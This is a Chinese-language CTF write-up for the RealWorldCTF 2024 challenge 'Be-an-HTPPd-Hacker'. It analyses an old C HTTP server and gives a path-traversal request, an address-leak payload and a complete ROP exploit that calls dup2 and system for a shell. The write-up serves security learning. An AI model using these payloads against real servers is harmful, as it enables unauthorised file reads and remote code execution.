跟随realworldCTF,做一个http网络协议黑客

前言

本报告旨在对RealWorldCTF 2024体验赛中的Pwn方向题目——"Be-an-HTPPd-Hacker"进行深入解析和讲解。该题目涉及一个十一年前的项目，其基于C语言实现了HTTP协议。我们将通过对该协议进行栈溢出攻击，探索真实世界中的攻击手法，并从中学习更多有用的攻击技巧，以提升我们的安全水平。通过理解攻击原理和方法，我们能够更好地理解安全防御的重要性，并为未来的安全工作做好准备。本报告将详细介绍攻击过程，希望能为读者提供深入而有价值的学习体验。

搜索字符串，github找源码

从IDA中，shift+F12提取，得到字符串，在github进行搜索能够得到源码在这：

https://github.com/bnlf/httpd/blob/943cb06a09eb553096956b2e394b8366124e0aac/src/httpd.c

具体构造

构造的代码如下，也就是方法地址加协议：

method, uri, vProtocol

如 POST www.baidu.com xxx

源码如下：

request parseRequest(char buffer[]) { char *ptr = buffer; char method[MAXLINE], uri[MAXLINE], vProtocol[MAXLINE]; request req; sscanf(ptr, "%s %s %s", method, uri, vProtocol); // Somente GET ou POST if(strcasecmp(method, "GET") == 0) req.method = "GET"; else if (strcasecmp(method, "POST") == 0) req.method = "POST"; else { req.method = "INVALID"; req.vProtocol = "INVALID"; req.uri[0] = '\0'; return req; } // Sera testado futuramente. Por enquanto aceita que é um uri valido req.uri = uri; if(strcasecmp(vProtocol, "HTTP/1.0") == 0) req.vProtocol = "HTTP/1.0"; else if (strcasecmp(vProtocol, "HTTP/1.1") == 0) req.vProtocol = "HTTP/1.1"; else req.vProtocol = "HTTP/1.1"; // se nao especificado return req;}GET路径穿越

其中get请求，经过简单尝试和逆向发现存在路径穿越，其直接对WWW进行拼接读取。

else if (res.status == 200 ) // Ok { return sendFile(req, res,connfd); }

阅读源码发现如上。

路径穿越漏洞（Path Traversal Vulnerability）是一种常见的安全漏洞，通常发生在Web应用程序或文件系统中。它允许攻击者访问他们没有权限访问的文件或目录，通过修改文件路径来绕过应用程序的访问控制机制。

不过flag没有可读权限，只能通过readflag来执行。

from evilblade import *context(os='linux', arch='amd64')# context(os='linux', arch='amd64', log_level='debug')#GET /index.html HTTP/1.1setup('./pwn')libset('./libc.so.6')rsetup('127.0.0.1',33333)# rsetup('121.40.246.203',30594)# pause()payload = 'GET ' + '/img/../../../etc/profile HTTP/1.0\x00'# payload = b'POST /form-example.html/../img/../../../add HTTP/1.1\r\n'pause()sl(payload)ia()

这是路径穿越读/etc/profile。

POST栈溢出

其实不是源码也分析的差不多了，就是不太理解这个&=的分割，还有会存在一个奇怪的堆溢出，堆溢出主要是因为malloc大小引起的，在计算

char *line = (char*) malloc(end-start);

中，end出现小于start的情况。我们可以输入多个\n来使得heap足够大，避免溢出的情况。

代码可以看到：

int sendPostMessage(request req, response res, int connfd, char *linePost){ char buffer[MAXLINE]; //Prepara cabecalho HTML sprintf(buffer, "<html><head><title>Submitted Form</title></head>"); //Cria body strcat(buffer, "<body><h1>Received variables</h1><br><table>"); strcat(buffer, "<tr><th>Variables</th><th>Values</th></tr>"); char * pch; char temp[250]; pch = strtok (linePost,"&="); while (pch != NULL) { sprintf(temp, "<tr><td>%s</td>", pch); strcat(buffer, temp); pch = strtok (NULL, "&="); sprintf(temp, "<td>%s</td></tr>", pch); strcat(buffer, temp); pch = strtok (NULL, "&="); } //Fecha body e html strcat(buffer, "</table></body></html>"); sendHeader(connfd, req, res, "OK", "text/html"); write(connfd, buffer, strlen(buffer)); return 0;}

也就是会根据&或者=分割之后，进行连接到temp。

其中linepost如下：

void httpd(int connfd) { char buffer[MAXLINE]; // Buffer dos dados de input char fileBuffer[MAXLINE]; request req; // Pedido do cliente response res; // Resposta do servidor struct stat st; int n; int sizeContent = -1; // Le o que está vindo no socket n=read(connfd, buffer, MAXLINE); int i = strlen(buffer); char options[MAXLINE]; int statusRead = 0; strcpy(options, buffer); while(statusRead == 0) { if((options[i-3] == '\n' && options[i-1] == '\n') || options[i-1] != '\n') { statusRead = 1; } else { n=read(connfd, options, MAXLINE); //strcat(buffer, options); //printf("%s\n", buffer); i = strlen(options); if(options[0] == '\r' && options[1] == '\n' && n == 2) statusRead = 1; } } // Faz o parse da requisicao req = parseRequest(buffer); char *linePost; //Encontra no buffer o tamanho do conteudo if(strcmp(req.method, "POST") ==0) { linePost = getLastLineRead(buffer); } //……char *getLastLineRead(char *buffer) { int numLines = 0; int start = 0; int end = 0; int bufSize = strlen(buffer); int i = 0; int j = 0; for (i=0;i<bufSize;i++) { if (buffer[i]=='\n') { numLines++; } } int *vetPositionLine = (int*) malloc(numLines); for (i=0;i<bufSize;i++) { if (buffer[i]=='\n') { vetPositionLine[j] = i;//出现回车的地方 j++; } } start = vetPositionLine[numLines-3]; end = vetPositionLine[numLines-1]; char *line = (char*) malloc(end-start); strncpy(line,buffer+end,bufSize-end); return line;}

就是说当他会把\n处作为起始地址，然后把后面的内容复制到line,这样就可以泄漏地址了！

使用exp：

from evilblade import *context(os='linux', arch='amd64')setup('./pwn')libset('./libc.so.6')rsetup('127.0.0.1',33333)payload = b'POST '+ b'A'*3982 + b'\n'pause()sl(payload)ia()• 调试方法：执行exp后，用ps -ef | grep 'httpd'之后找到最新的进程用sudo gdb -p PID即可。

或者直接使用命令：sudo gdb -p $(pgrep -n -f './httpd 12345')

最后会从buf+你输入的数据长度，取一个数据写到heap中，下次取出来作参数。

主要对此处进行断点观察。

可以看到：

由此可以泄漏出libc甚至其他了。

使用脚本：

泄漏得到：

---------------your stack is >>> 0xff9c9f0a------------------------------your ld is >>> 0xedf40000------------------------------your libc is >>> 0xedcca000---------------构造ROP

从这个部分可以发现，会将原本的内容根据&=分割，然后加上之类的字符串，使得字符串长度变大，会导致栈溢出。那么我们根据前面得到的基地址，和这个部分漏洞进行ROP构造，从而getshell。

char * pch; char temp[250]; pch = strtok (linePost,"&=");while (pch != NULL){ sprintf(temp, "<tr><td>%s</td>", pch); strcat(buffer, temp); pch = strtok (NULL, "&="); sprintf(temp, "<td>%s</td></tr>", pch); strcat(buffer, temp); pch = strtok (NULL, "&=");}

做以下构造，经过多次尝试终于得到了控制返回地址为xxxx：

from evilblade import *context(os='linux', arch='amd64')setup('./pwn')libset('./libc.so.6')rsetup('127.0.0.1',33333)payload = b'POST '+ b'A='*1850#test= cyclic(0x700).decode()#modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))])#d(modified_test)payload = b'POST / A\n'+ b"A"*2400 + b"\n"payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"payload += b"=" + p32(0xeb029050)*10+ b"xxxx" + b"="d(payload)dpx('len',len(payload))pause()sd(payload)

其中xxxx为任意地址，可以返回！

image-20240213222234157

由于 sprintf的原因，不能输入\x00和\n之类的作为rop,我这里采取加减法的方式进行绕过,先输入不包含0和0a的字符，后续根据加减恢复到我们需要的字符。

搜索有：

pwndbg> search -4 0x11111111Searching for value: b'\x11\x11\x11\x11'libc.so.6 0xf0ca28f4 0x11111111libc.so.6 0xf0ca2a08 0x11111111libc.so.6 0xf0ca2a0c 0x11111111计算得到：λ ~/ pythonPython 3.11.6 (main, Nov 14 2023, 09:36:21) [GCC 13.2.1 20230801] on linuxType "help", "copyright", "credits" or "license" for more information.>>> hex(0xf0ca28f4 -0xf0af1000)'0x1b18f4'#这是libc偏移>>> hex(0x100000000-0x11111111)'0xeeeeeeef'>>>

那么我们用以上作为差值计算，其中0x11111111+0xeeeeeeef相加等于0。

构造的ROP如下：

push_esi = p32(libc+0x00061c0d) # push esi ; retnop_ret = p32(libc+0x0002fce8) # nop ; retread = p32(symoff("read",libc))pop_ebx = p32(0x0002c01f+libc) # pop ebx ; retadd_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret)pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret)add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret)# dup2($ebx,$ecx)rop = pop_esi + dup22rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)rop += pop_ecx_eax + p32(0xeeeeeeef)*2rop += add_ecx #$ecx = 0rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)rop += add_ebx #$ebx = 4rop += push_esirop += pop_esi + dup22rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2rop += add_ecx #$ecx=1rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)rop += add_ebx #$ebx = 4rop += push_esirop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)if b"=" in rop or b"\x00" in rop: print("stop!") pause()payload = b'POST '+ b"A"*2400 + b"\n"payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"payload += b"=" + (nop_ret)*10payload += roppayload += b"="

完整exp如下：

from evilblade import *context(os='linux', arch='amd64')setup('./pwn')libset('./libc.so.6')rsetup('127.0.0.1',33333)payload = b'POST '+ b'A'*3982 + b'\n'sl(payload)ru("Values</th></tr><tr><td>")stack = u32(rv(4))-0x1ed0adx(stack)ld = u32(rv(4))-0xc0cdx(ld)libc = u32(rv(4))-2324400dx(libc)close()rsetup('127.0.0.1',33333)payload = b'POST '+ b'A='*1850 #test= cyclic(0x700).decode()#modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))])#d(modified_test)sub_eax_ecx = p32(libc + 0x0018b0f8) # sub eax, ecx ; retpush_eax = p32(libc + 0x00036a7d) # push eax ; retpop_ecx_eax = p32(libc + 0x001280f4) # pop ecx ; pop eax ; retdup22 = p32(symoff("dup2",libc)+0xe)push_edx = p32(libc+0x00192ac8) # push edx ; ret pop_edx = p32(libc+0x00037375) # pop edx ; retpop_esi = p32(libc+0x00021479) # pop esi ; retpush_esi = p32(libc+0x00061c0d) # push esi ; retnop_ret = p32(libc+0x0002fce8) # nop ; retread = p32(symoff("read",libc))pop_ebx = p32(0x0002c01f+libc) # pop ebx ; retadd_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret)pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret)add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret)# dup2($ebx,$ecx)rop = pop_esi + dup22rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)rop += pop_ecx_eax + p32(0xeeeeeeef)*2rop += add_ecx #$ecx = 0rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)rop += add_ebx #$ebx = 4rop += push_esirop += pop_esi + dup22rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2rop += add_ecx #$ecx=1rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)rop += add_ebx #$ebx = 4rop += push_esirop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)if b"=" in rop or b"\x00" in rop: print("stop!") pause()payload = b'POST '+ b"A"*2400 + b"\n"payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"payload += b"=" + (nop_ret)*10payload += roppayload += b"="d(payload)dpx('len',len(payload))dpx("begin",uu64(pop_esi))dpx("nop",uu64(nop_ret))dx(stack)pause()sd(payload)ia()

攻击结果：

玩酷网

跟随realworldCTF,做一个http网络协议黑客

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